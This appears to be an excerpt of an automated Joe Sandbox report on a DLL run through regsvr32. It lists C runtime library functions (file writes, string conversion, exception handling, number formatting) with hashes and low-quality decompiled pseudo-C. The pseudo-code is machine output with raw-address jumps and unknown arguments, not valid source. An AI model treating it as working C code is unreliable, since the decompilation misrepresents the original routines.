Opcode Fuzzy Hash: 943f3f5a8649ad99659fc24fe5f00fa9245fa7ab2d20795fce64249369f79773
Instruction Fuzzy Hash: A2112A71A29606CAF7D0AB14ED5476E72E1F3507C9FA09125E2CD026E4D77EE504CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39939 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D39998
_invalid_parameter.LIBCMTD ref: 000007FEF9D399D2

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D39978, 000007FEF9D399BD
_write_nolock, xrefs: 000007FEF9D399C4
(buf != NULL), xrefs: 000007FEF9D39963, 000007FEF9D399CB

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (buf != NULL)$_write_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-3042049227
Opcode ID: b18c78e6a001b3924330ee466a7aa5e58f01f9920a26db0e17f8c8ea79e16f29
Instruction ID: 08953b95d21c5f70e3699fefb321eca4419d040150facc41ebc10b04699de718
Opcode Fuzzy Hash: b18c78e6a001b3924330ee466a7aa5e58f01f9920a26db0e17f8c8ea79e16f29
Instruction Fuzzy Hash: F8115731E0C646DAF7A4AF24EC117AE73D0F780398FA0912692CC026E5DB7EE644CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3976D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D397C3
_invalid_parameter.LIBCMTD ref: 000007FEF9D397FD

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D397A3, 000007FEF9D397E8
_write, xrefs: 000007FEF9D397EF
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D3978E, 000007FEF9D397F6

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (_osfile(fh) & FOPEN)$_write$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-1338331675
Opcode ID: f80fd563d90780f0aa1c670857feec0e10d9ec583905498dafbcab80ebad431c
Instruction ID: 8bdd68c2d8658697f17e3158693f35fff5fb9c26cbdf8bf42c76b87004d789dc
Opcode Fuzzy Hash: f80fd563d90780f0aa1c670857feec0e10d9ec583905498dafbcab80ebad431c
Instruction Fuzzy Hash: F0014CB1A18646C6FB90AB24EC4076D36E0F350358FB04125E28D036F5C7BED544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39A9B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 17COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D39A9B
_invalid_parameter.LIBCMTD ref: 000007FEF9D39AD5

Part of subcall function 000007FEF9D2BD70: DecodePointer.KERNEL32 ref: 000007FEF9D2BD99

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D39AC0
_write_nolock, xrefs: 000007FEF9D39AC7
((cnt & 1) == 0), xrefs: 000007FEF9D39ACE

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer__doserrno_invalid_parameter
String ID: ((cnt & 1) == 0)$_write_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 1098298932-1795423647
Opcode ID: 76c1c365018f90ed7cb3e44e1db6073c5157a9fa4c515fc26b073f11152878b0
Instruction ID: 5ff663975ae3511ed6d2782a661d896beba523f0d1828ccbc0613956f22d1229
Opcode Fuzzy Hash: 76c1c365018f90ed7cb3e44e1db6073c5157a9fa4c515fc26b073f11152878b0
Instruction Fuzzy Hash: CBE03960A0890696F6D4AF14EC113EE2290A740788FE14222908D072F2CB7EA605C741

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F570 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 16%

			E000007FE7FEF9D2F570(intOrPtr __edx, long long __rcx, void* __rdx, long long __r8, void* _a8, intOrPtr _a16, long long _a24, intOrPtr _a32, void* _a40, intOrPtr _a48, intOrPtr _a64) {
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				signed int _v48;
				int _v52;
				int _v56;
				signed int _v64;
				long long _v72;
				long long _t82;

				_a32 = r9d;
				_a24 = __r8;
				_a16 = __edx;
				_a8 = __rcx;
				_v56 = 0;
				if (_a48 != 0) goto 0xf9d2f5ab;
				_a48 =  *((intOrPtr*)( *_a8 + 4));
				if (_a64 == 0) goto 0xf9d2f5bf;
				_v32 = 9;
				goto 0xf9d2f5c7;
				_v32 = 1;
				_v64 = 0;
				_v72 = 0;
				r9d = _a32;
				_v48 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_v48 != 0) goto 0xf9d2f60b;
				goto 0xf9d2f6f8;
				if (0 != 0) goto 0xf9d2f652;
				if (_v48 <= 0) goto 0xf9d2f652;
				if (_v48 - 0xfffffff0 > 0) goto 0xf9d2f652;
				_t82 = _v48 + _v48 + 0x10;
				E000007FE7FEF9D2F3B0(malloc(??), 0xdddd, _t82);
				_v24 = _t82;
				goto 0xf9d2f65b;
				_v24 = 0;
				_v40 = _v24;
				if (_v40 != 0) goto 0xf9d2f674;
				goto 0xf9d2f6f8;
				E000007FE7FEF9D232B0(0, _a48, 0, _v40, __rdx, _v48 << 1);
				_v64 = _v48;
				_v72 = _v40;
				r9d = _a32;
				_v52 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_v52 == 0) goto 0xf9d2f6ea;
				r8d = _v52;
				_v56 = GetStringTypeW(??, ??, ??, ??);
				E000007FE7FEF9D2F3E0(_v40);
				return _v56;
			}

0x7fef9d2f570
0x7fef9d2f575
0x7fef9d2f57a
0x7fef9d2f57e
0x7fef9d2f587
0x7fef9d2f597
0x7fef9d2f5a4
0x7fef9d2f5b3
0x7fef9d2f5b5
0x7fef9d2f5bd
0x7fef9d2f5bf
0x7fef9d2f5c7
0x7fef9d2f5cf
0x7fef9d2f5d8
0x7fef9d2f5f9
0x7fef9d2f602
0x7fef9d2f606
0x7fef9d2f60f
0x7fef9d2f616
0x7fef9d2f62a
0x7fef9d2f631
0x7fef9d2f646
0x7fef9d2f64b
0x7fef9d2f650
0x7fef9d2f652
0x7fef9d2f660
0x7fef9d2f66b
0x7fef9d2f66f
0x7fef9d2f686
0x7fef9d2f68f
0x7fef9d2f698
0x7fef9d2f69d
0x7fef9d2f6bf
0x7fef9d2f6c8
0x7fef9d2f6d2
0x7fef9d2f6e6
0x7fef9d2f6ef
0x7fef9d2f6fc

APIs

MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F5F3
malloc.LIBCMTD ref: 000007FEF9D2F639
_MarkAllocaS.LIBCMTD ref: 000007FEF9D2F646
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F6B9
GetStringTypeW.KERNEL32 ref: 000007FEF9D2F6E0

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$AllocaMarkStringTypemalloc
String ID:
API String ID: 2618398691-0
Opcode ID: 05827e3f81ca9d4f9e036e9cc38fe06689f9ef4e573a4afec1c92632646a1a95
Instruction ID: 79d90a16a348acae5d1e8c33d658c717d72e619f6ed261e78ac23a31a9732c13
Opcode Fuzzy Hash: 05827e3f81ca9d4f9e036e9cc38fe06689f9ef4e573a4afec1c92632646a1a95
Instruction Fuzzy Hash: 9941E7726187818AD7A08B19E48476EB7E0F385795F204525EADE43BB8DB7ED484CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3FF00 Relevance: 7.6, APIs: 5, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D3FF00(intOrPtr __ecx, intOrPtr _a8) {
				signed int _v16;
				signed int _v20;
				signed int _v24;

				_a8 = __ecx;
				_v24 = 0;
				_v16 = 0;
				0xf9d29300();
				_v20 = 0;
				_v20 = _v20 + 1;
				if (_v20 -  *0xf9d4e520 >= 0) goto 0xf9d40042;
				if ( *((long long*)( *0xf9d4d500 + _v20 * 8)) == 0) goto 0xf9d4003d;
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000083) == 0) goto 0xf9d4003d;
				E000007FE7FEF9D3AE90(_v20,  *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)));
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000083) == 0) goto 0xf9d40024;
				if (_a8 != 1) goto 0xf9d3ffe1;
				if (E000007FE7FEF9D3FD70( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8))) == 0xffffffff) goto 0xf9d3ffdf;
				_v24 = _v24 + 1;
				goto 0xf9d40024;
				if (_a8 != 0) goto 0xf9d40024;
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000002) == 0) goto 0xf9d40024;
				if (E000007FE7FEF9D3FD70( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8))) != 0xffffffff) goto 0xf9d40024;
				_v16 = 0xffffffff;
				E000007FE7FEF9D3AF60(_v20,  *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)));
				goto L1;
				__ecx = 1;
				__eax = E000007FE7FEF9D29360(__eax, 1);
				if (_a8 != 1) goto 0xf9d4005b;
				__eax = _v24;
				goto 0xf9d4005f;
				__eax = _v16;
				return _v16;
			}

0x7fef9d3ff00
0x7fef9d3ff08
0x7fef9d3ff10
0x7fef9d3ff1d
0x7fef9d3ff23
0x7fef9d3ff33
0x7fef9d3ff41
0x7fef9d3ff58
0x7fef9d3ff78
0x7fef9d3ff92
0x7fef9d3ffb2
0x7fef9d3ffb9
0x7fef9d3ffd3
0x7fef9d3ffdb
0x7fef9d3ffdf
0x7fef9d3ffe6
0x7fef9d40000
0x7fef9d4001a
0x7fef9d4001c
0x7fef9d40038
0x7fef9d4003d
0x7fef9d40042
0x7fef9d40047
0x7fef9d40051
0x7fef9d40053
0x7fef9d40059
0x7fef9d4005b
0x7fef9d40063

APIs

_lock_file2.LIBCMTD ref: 000007FEF9D3FF92
_fflush_nolock.LIBCMTD ref: 000007FEF9D3FFCB
_fflush_nolock.LIBCMTD ref: 000007FEF9D40012
_unlock_file2.LIBCMTD ref: 000007FEF9D40038
_unlock.LIBCMTD ref: 000007FEF9D40047

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _fflush_nolock$_lock_file2_unlock_unlock_file2
String ID:
API String ID: 1144694634-0
Opcode ID: 9c48fc7a63950d59b547df98b2f037ee7aefe6eda58a35de18d9feeb54d081ae
Instruction ID: ac60367dbbc332a4a9212cb966813f3525e1d277dda9a6ba7eb8e741a9ed9bf6
Opcode Fuzzy Hash: 9c48fc7a63950d59b547df98b2f037ee7aefe6eda58a35de18d9feeb54d081ae
Instruction Fuzzy Hash: D441F136A08905C5EB70CB1DE98173D73E0F799B49F204225EA9D877B4CB3EE945CA01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D33CC0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 186
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D33CC0(void* __edx, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, long long _a16, long long _a24, long long _a32, signed int* _a40, char _a48, signed int _a56, signed int _a64) {
				long long _v16;
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				long long _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v64;
				long long _v72;
				char _v80;
				long long _v88;
				void* _t135;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t149;
				signed int* _t200;
				intOrPtr _t206;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				0xf9d24000();
				if ( *((intOrPtr*)(__rax + 0x2c0)) != 0) goto 0xf9d33d6c;
				if ( *_a8 == 0xe06d7363) goto 0xf9d33d6c;
				if ( *_a8 != 0x80000029) goto 0xf9d33d2a;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 0xf) goto 0xf9d33d2a;
				if ( *((long long*)(_a8 + 0x60)) == 0x19930520) goto 0xf9d33d6c;
				if ( *_a8 == 0x80000026) goto 0xf9d33d6c;
				if (( *_a40 & 0x1fffffff) - 0x19930522 < 0) goto 0xf9d33d6c;
				if ((_a40[9] & 0x00000001) == 0) goto 0xf9d33d6c;
				goto 0xf9d3409c;
				if (( *(_a8 + 4) & 0x00000066) == 0) goto 0xf9d33ef3;
				if (_a40[1] == 0) goto 0xf9d33ee4;
				if (_a48 != 0) goto 0xf9d33ee4;
				if (( *(_a8 + 4) & 0x00000020) == 0) goto 0xf9d33e40;
				if ( *_a8 != 0x80000026) goto 0xf9d33e40;
				_v56 = E000007FE7FEF9D33A60(_a24, _a40, _a32,  *((intOrPtr*)(_a24 + 0xf8)));
				if (_v56 - 0xffffffff < 0) goto 0xf9d33e0a;
				if (_v56 - _a40[1] >= 0) goto 0xf9d33e0a;
				goto 0xf9d33e0f;
				E000007FE7FEF9D2CF80(_a40);
				r9d = _v56;
				E000007FE7FEF9D34F20(_a40, _a16, _a32, _a40);
				goto 0xf9d33ec7;
				if (( *(_a8 + 4) & 0x00000020) == 0) goto 0xf9d33ec7;
				if ( *_a8 != 0x80000029) goto 0xf9d33ec7;
				_v48 = _a8;
				_v52 =  *((intOrPtr*)(_v48 + 0x38));
				if (_v52 - 0xffffffff < 0) goto 0xf9d33e95;
				if (_v52 - _a40[1] >= 0) goto 0xf9d33e95;
				goto 0xf9d33e9a;
				E000007FE7FEF9D2CF80(_a40);
				r9d = _v52;
				E000007FE7FEF9D34F20(_v48,  *((intOrPtr*)(_v48 + 0x28)), _a32, _a40);
				goto 0xf9d3409c;
				E000007FE7FEF9D2E790(_v52 - _a40[1], _v48, _a16, _a32, _a40);
				goto 0xf9d34097;
				if (_a40[3] != 0) goto 0xf9d33f59;
				if (( *_a40 & 0x1fffffff) - 0x19930521 < 0) goto 0xf9d34097;
				_t200 = _a40;
				if ( *((intOrPtr*)(_t200 + 0x20)) == 0) goto 0xf9d33f44;
				_t135 = E000007FE7FEF9D2E680( *_a40 & 0x1fffffff, _t200);
				_v24 = _t200 + _a40[8];
				goto 0xf9d33f4d;
				_v24 = 0;
				if (_v24 == 0) goto 0xf9d34097;
				if ( *_a8 != 0xe06d7363) goto 0xf9d34041;
				if ( *((intOrPtr*)(_a8 + 0x18)) - 3 < 0) goto 0xf9d34041;
				if ( *((intOrPtr*)(_a8 + 0x20)) - 0x19930522 <= 0) goto 0xf9d34041;
				_t206 =  *((intOrPtr*)(_a8 + 0x30));
				if ( *((intOrPtr*)(_t206 + 8)) == 0) goto 0xf9d33fc5;
				E000007FE7FEF9D2E6A0(_t135, _t206);
				_v16 = _t206 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 8));
				goto 0xf9d33fce;
				_v16 = 0;
				_v40 = _v16;
				_t177 = _v40;
				if (_v40 == 0) goto 0xf9d34041;
				_v64 = _a64 & 0x000000ff;
				_v72 = _a56;
				_v80 = _a48;
				_v88 = _a40;
				_v32 = _v40();
				goto 0xf9d34097;
				_v64 = _a56;
				_v72 = _a48;
				_v80 = _a64 & 0x000000ff;
				_v88 = _a40;
				E000007FE7FEF9D340B0(_t145, _t147, _t148, _t149, _t177, _a40, _a8, _a16, _a24, _a32);
				return 1;
			}

0x7fef9d33cc0
0x7fef9d33cc5
0x7fef9d33cca
0x7fef9d33ccf
0x7fef9d33cd8
0x7fef9d33ce4
0x7fef9d33cf8
0x7fef9d33d08
0x7fef9d33d16
0x7fef9d33d28
0x7fef9d33d38
0x7fef9d33d4e
0x7fef9d33d60
0x7fef9d33d67
0x7fef9d33d7c
0x7fef9d33d8e
0x7fef9d33d9c
0x7fef9d33db2
0x7fef9d33dc6
0x7fef9d33dec
0x7fef9d33df5
0x7fef9d33e06
0x7fef9d33e08
0x7fef9d33e0a
0x7fef9d33e0f
0x7fef9d33e2c
0x7fef9d33e3b
0x7fef9d33e50
0x7fef9d33e60
0x7fef9d33e6a
0x7fef9d33e77
0x7fef9d33e80
0x7fef9d33e91
0x7fef9d33e93
0x7fef9d33e95
0x7fef9d33e9a
0x7fef9d33eb8
0x7fef9d33ec2
0x7fef9d33edf
0x7fef9d33eee
0x7fef9d33eff
0x7fef9d33f15
0x7fef9d33f1b
0x7fef9d33f27
0x7fef9d33f29
0x7fef9d33f3d
0x7fef9d33f42
0x7fef9d33f44
0x7fef9d33f53
0x7fef9d33f67
0x7fef9d33f79
0x7fef9d33f8e
0x7fef9d33f9c
0x7fef9d33fa4
0x7fef9d33fa6
0x7fef9d33fbe
0x7fef9d33fc3
0x7fef9d33fc5
0x7fef9d33fd3
0x7fef9d33fd8
0x7fef9d33fde
0x7fef9d33fe8
0x7fef9d33ff4
0x7fef9d34000
0x7fef9d3400c
0x7fef9d34035
0x7fef9d3403f
0x7fef9d34049
0x7fef9d34055
0x7fef9d34061
0x7fef9d3406d
0x7fef9d34092
0x7fef9d340a0

APIs

_inconsistency.LIBCMTD ref: 000007FEF9D33E0A

Strings

csm, xrefs: 000007FEF9D33CF2
csm, xrefs: 000007FEF9D33F61

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _inconsistency
String ID: csm$csm
API String ID: 32975420-3733052814
Opcode ID: b62b0453fdffd86c1ea8e56b24d9441da31a01f9fe07ee07632383c0adf59322
Instruction ID: 322b6d8969e66d64c69545eab8578d1d9fa1a0c6b52bdd8827c0b0ea251a3b55
Opcode Fuzzy Hash: b62b0453fdffd86c1ea8e56b24d9441da31a01f9fe07ee07632383c0adf59322
Instruction Fuzzy Hash: 12A1EE3660CBC5C6D7B08B15E5447AEB7A0F385B95FA04126EACD87BA9CB3DD844CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29640 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMTD ref: 000007FEF9D296DF
__free_lconv_num.LIBCMTD ref: 000007FEF9D29726

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\localref.c, xrefs: 000007FEF9D29932
((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca, xrefs: 000007FEF9D2991D

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __free_lconv_mon__free_lconv_num
String ID: ((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\localref.c
API String ID: 2148069796-2706031433
Opcode ID: 5530c5148454f32ed92c453347a6e128a1bc42f7b71ac9e6bc1d50a4750a2989
Instruction ID: 7353ab124090f0710997c18079ef38eae00693e27689a0bfa21a481d68f00224
Opcode Fuzzy Hash: 5530c5148454f32ed92c453347a6e128a1bc42f7b71ac9e6bc1d50a4750a2989
Instruction Fuzzy Hash: F4A10E36A18A8581EB908F49E4853BEA3E0F3C4B54F665036EA8E477B5CFBED445C740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32772 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32A56

Strings

("Buffer too small", 0), xrefs: 000007FEF9D329F2, 000007FEF9D32A4F
_vsnprintf_s_l, xrefs: 000007FEF9D32A48
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32A07, 000007FEF9D32A41

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3717698799
Opcode ID: 1aafbfe16f86ccf21253850ca152cd04a8ee8357f57b5e583563c43112fb4b7a
Instruction ID: b28b411edc77ea5f57a42c4ce070c51137fe1cd7001121a3be123fc4e483bd38
Opcode Fuzzy Hash: 1aafbfe16f86ccf21253850ca152cd04a8ee8357f57b5e583563c43112fb4b7a
Instruction Fuzzy Hash: FC810D32A1DB8686DAB08B29E84476E73E0F385765F204225E6ED437E9DF3DD445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C719 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D3C719(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t212;
				signed char _t217;
				intOrPtr _t252;
				signed int _t327;
				signed int _t328;
				signed long long _t331;
				intOrPtr* _t354;
				signed long long _t379;

				_t327 = __rax;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t327;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t327;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t328 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t331 = _a824;
				_a832 = _t331;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t331;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t212 = _a116;
				_a116 = _a116 - 1;
				if (_t212 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t212 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t217 = _a816 + _a708;
				_a816 = _t217;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t217;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
